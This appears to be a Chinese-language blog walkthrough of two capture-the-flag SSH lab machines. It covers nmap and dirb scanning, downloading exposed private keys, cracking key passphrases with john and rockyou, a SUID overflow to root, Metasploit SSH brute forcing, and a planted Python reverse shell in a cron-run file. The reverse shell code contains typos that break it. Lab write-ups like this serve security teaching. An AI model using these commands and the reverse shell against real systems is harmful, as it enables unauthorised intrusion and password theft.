目录
一,ssh私钥泄露
充电站:
二,ssh 服务测试(暴力破解)
充电站:
靶场:192.168.11.166
1,信息嗅探
对于一个给定的ip得知的靶场机器,我们需要用对其进行扫描,探测开放的服务。(渗透其实是针对服务的漏洞进行探测,然后对应的数据包发送,获取机器的最高权限)
nmap -sV 192.168.11.166 //挖掘开放服务信息
看到一个开放的一个特殊的端口31337
2,分析探测结果
每个服务对应着不同的端口,用来进行通信。常用的端口为 0~1023,在扫描结果中尤其注意那些特殊的端口
针对特殊的端口进行探测,尤其对开发的大端口的http服务进行排查;
浏览器访问 192.168.11.166:31337, 是空白页 ,查看页面源代码,没有flag信息
进一步探测,端口下的隐藏文件
dirb http://192.168.11.166:31337/ //探测隐藏文件
有收获
打开robots.txt:
打开 taxes文件 ,发现flag1
打开 .ssh文件:
ssh服务,通过ssh服务客户端可以远程登录到服务端,实现远程操作,
打开 http://192.168.11.166:31337/.ssh/id_rsa 发现可以下载私钥 id_rsa
http://192.168.11.166:31337/.ssh/authorized_keys 下载 认证关键字文件
为方便操作 将这两个文件移动到桌面上
3,利用私钥文件登录靶场
首先 把私钥文件的权限改为 600
chmod 600 id_rsa
打开 认证字关键字文件 authorized_keys 找用户名,用户名为 simon
利用私钥文件登录:
ssh -i id_rsa [email protected]
让输入密码:
4,解密 ssh秘钥信息
先使用 ssh2john 将id_rsa秘钥信息转换为john可以识别的信息:
ssh2john id_rsa > rsacrack
bash: ssh2john 命令未找到
root@kali:~# locate ssh2john //找ssh2john 文件路径
/usr/share/john/ssh2john.py
python /usr/share/john/ssh2john.py id_rsa > rsacrack
利用字典解密rsacrack 的信息
zcat /usr/share/wordlists/rockyou.txt.gz | john --pipe --rules rsacrack
找到密码为 starwars
登录 :
ssh -i id_rsa [email protected]
4,深入探测 根目录
切换到根目录,发现了两个文件,访问flag.txt文件时,发现需要root权限,
查看具有root权限的文件
find / -perm -4000 2>/dev/null
后面的 2>dev/null 是避免在查询中出错的
访问read_message文件
发现哟端倪:看到了第二个 flag2
大致意思: 如果输入的 字符串 的前五个字符 跟 Simon 相同的 就执行
execve(program,null,null) 执行 usr/local/sbin/message
输入Simonaaaaaa 后给了一些提示
5. 提升权限
那溢出之后 会不会执行我们溢出后的命令呢??
试一下:输入 Simonaaaaaaaaaaaaaaa/bin/sh 使程序溢出,从而执行跳转到/bin/sh下
我们真的提升了权限,成为了root权限
然后打开flag.txt文件 得到 flag3:
1,nmap 的常用的几个命令:
获取远程主机的系统类型及开放端口
nmap -sS -P0 -sV -O
这里的 < target > 可以是单一 IP, 或主机名,或域名,或子网
-sS TCP SYN 扫描 (又称半开放,或隐身扫描)
-P0 允许你关闭 ICMP pings.
-sV 打开系统版本检测
-O 尝试识别远程操作系统
其它选项:
-A 同时打开操作系统指纹和版本检测
-v 详细输出扫描情况.
一般使用,进行探测:
nmap -sV IP
在网络寻找所有在线主机
nmap -sP 192.168.0.*
或者也可用以下命令:
nmap -sP 192.168.0.0/24
2,什么是ssh? 认证原理?登录方式?
什么是ssh?
SSH 是目前较可靠,专为远程登录会话和其他网络服务提供安全性的协议。利用 SSH 协议可以有效防止远程管理过程中的信息泄露问题
认证原理?
认证开始后会有一个设定好的顺序例如publickey,gssapi-keyex,gssapi-with-mic,password
首先用publickey的方式即秘钥认证,如果秘钥认证通过的话将不进行使用密码的口令认证,如果秘钥认证失败则使用口令认证。
我们如果想要免去用户名密码登陆可以使用秘钥认证的方式。
登录方式:
1,账号+ 口令
如果是第一次登录对方主机,这段话的意思是,无法确认host主机的真实性,只知道它的公钥指纹,问你还想继续连接吗?
$ ssh user@host
The authenticity of host 'host (12.18.429.21)' can't be established.
RSA key fingerprint is 98:2e:d7:e0:de:9f:ac:67:28:c2:42:2d:37:16:58:4d.
Are you sure you want to continue connecting (yes/no)? yes
然后,会要求输入口令。(这里要求输入的口令实际上是使用私钥的口令,并不是登录的口令)
Password: (enter password):如果口令正确,就可以登录了。
2,公钥 + 私钥
使用公钥登录
使用密码登录,每次都必须输入密码,非常麻烦。好在SSH还提供了公钥登录,可以省去输入密码的步骤。
所谓"公钥登录",原理很简单,就是用户将自己的公钥储存在远程主机上。登录的时候,远程主机会向用户发送一段随机字符串,用户用自己的私钥加密后,再发回来。远程主机用事先储存的公钥进行解密,如果成功,就证明用户是可信的,直接允许登录shell,不再要求密码。
这种方法要求用户必须提供自己的公钥。
使用私钥登录(需要输入 密码,不过密码可以用 john将 私钥中的密码解密出来)
ssh -i id_rsa user@host
Enter passphrase for key 'id_rsa': 密码正确就能登录成功
使用 zcat /usr/share/wordlists/rockyou.txt.gz | john --pipe --rules rsacrack
爆破出私钥中密码
3,dirb命令
dirb是一个类似windows下御剑这些目录扫描工具,
dirb ip 字典路径
一般不需要指定字典,会使用默认字典,我们也自定义字典
默认字典路径
/usr/share/dirb/wordlists/indexes.txt
wordlists 目录下还有好几个字典可以使用
除此之外还要一款kali自带的目录扫描工具
DirBuster
DirBuster是一个多线程java应用程序,旨在强制Web /应用程序服务器上的目录和文件名。DirBuster总共有9个不同的列表; 这使得DirBuster在查找隐藏文件和目录方面非常有效。
同样打开终端并键入Dirbuster,然后输入目标URL,如下图所示,并浏览/ usr / share / dirbuster / wordlis / directory-list-2-3-medium.txt进行暴力攻击。
4,zcat命令
zcat命令用于不真正解压缩文件,就能显示压缩包中文件的内容的场合。
-S:指定gzip格式的压缩包的后缀。当后缀不是标准压缩包后缀时使用此选项;
-c:将文件内容写到标注输出;
-d:执行解压缩操作;
-l:显示压缩包中文件的列表;
-L:显示软件许可信息;
-q:禁用警告信息;
-r:在目录上执行递归操作;
-t:测试压缩文件的完整性;
-V:显示指令的版本信息;
-l:更快的压缩速度;
-9:更高的压缩比。
本题中使用到的命令:
zcat /usr/share/wordlists/rockyou.txt.gz | john --pipe --rules rsacrack
5,john常用命令 (保存字典的目录: /usr/share/john/)
John the Ripper免费的开源软件,是一个快速的密码破解工具,用于在已知密文的情况下尝试破解出明文的破解密码软件,支持目前大多数的加密算法,如DES、MD4、MD5等。它支持多种不同类型的系统架构,包括Unix、Linux、Windows、DOS模式、BeOS和OpenVMS,主要目的是破解不够牢固的Unix/Linux系统密码。
1,破解shadow文件(shadow文件用于储存linux中加密后的密码)
john shadow
也可以指定 字典
john --wordlist=/usr/share/john/password.lst shadow
2, 提取ssh 私钥里面的密码:
先将文件转换为 john可以执行的文件
python /usr/share/john/ssh2john.py id_rsa > rsacrack
zcat /usr/share/wordlists/rockyou.txt.gz | john --pipe --rules rsacrack
3,keepass2数据库密码
先将加密文件转为john可以执行的文件
python /usr/share/john/keeppass2john.py newdb.kdb > crack
zcat /usr/share/wordlists/rockyou.txt.gz | john --pipe --rules crack
4, rar 提取密码
先将加密文件转为john可以执行的文件
python /usr/share/john/rar2john.py encrypted.rar > crack
zcat /usr/share/wordlists/rockyou.txt.gz | john --pipe --rules crack
探测靶场开放的服务于服务的版本:
nmap -sV 192.168.1.106
用浏览器访问 192.168.1.106:看到了一个疑似ssh用户名的 username: martin
以及另外的几个人名:hadi 、jimmy
使用dirb进行目录探测:
dirb http://192.168.1.106
找了几个目录文件,访问 icons 目录:看到一个奇怪名字的文件,打开发现是ssh的私钥
保存martin用户的ssh私钥
wget "http://192.168.1.106/icons/VDSoyuAXiO.txt"
重命名
mv VDSoyuAXiO.txt id_rsa
将私钥文件的权限修改为 600:
chmod 600 id_rsa
登录靶场:
ssh -i id_rsa [email protected]
成功登入(这里没有要密码,随后解释)
查看有哪些用户名:发现有 hadi 、jimmy、martin
查看当前用户权限:
可以看到不是root权限
我的习惯是先去找flag文件,如果打不开再去提权、
我们切换到/root 目录下看看,ls -al 发现了flag.txt文件,但没有权限,打不开
接下来的工作就是提权了
首先查看一下 当前用户是否有定时执行的文件:
最后一条,是用户 jummy 设定的定时执行 sekurity.py 文件的定时 任务
切换到 他指定的目录,发现并没有 sekurity.py 文件,
我们可以创建一个 反弹shell 文件,从而提升到root权限:
#!/usr/bin/python
import os,subprodess,socket
s = socket.socekt(socker.AF_INET,socker.SOCK_STREAM)
s.connect("192.168.1.106","4445")
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p = subprocess.call(["/bin/sh","-i"])
把文件名改为 sekurity.py
等待该文件自动被执行
可以看到 jimmy 用户 也是没有root权限的
所以不能 直接 用 su - root 进行提权
既然前两个用户都没有 root 权限,那第三个用户大概率有root权限
接下来,致力于破解第三个用户 hadi 的口令
使用metasploit 破解SSH
启动:
msfconsole
启动 ssh_login模块:
use auxiliary/scanner/ssh/ssh_login
show options
设置参数:
set rhosts 192.168.1.106
set username hadi
set pass_file /root/download/common-password/hadi.txt //设置字典
set thread 10
show options
run
最终破解出口令是: hadi123
登录;
优化命令终端:
python -c "import pty; pty.spawn('/bin/bash')"
具有roo权限,可以提权为root
su - root
输入密码: hadi123
读取 /root/flag.txt 文件得到flag:
1,为什么用ssh的秘钥登录时有时候需要输入口令,有时候不需要输入口令?
这是因为用户在创建私钥的时候,为保证私钥的安全,对私钥设置了口令,输入的口令实际上是私钥的口令,
ssh默认是使用用户本地的 ~/.ssh/id_rsa 这个秘钥(私钥)登录的,
我们可以使用 -i 来指定秘钥进行登录
更详细的 SSH的登录方式,看我总结的另一篇博文:
2,metasploit工具:
简单介绍一下 metasploit工具:
Metasploit是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,提供真正的安全风险情报。这些功能包括智能开发,代码审计,Web应用程序扫描,社会工程。团队合作,在Metasploit和综合报告提出了他们的发现。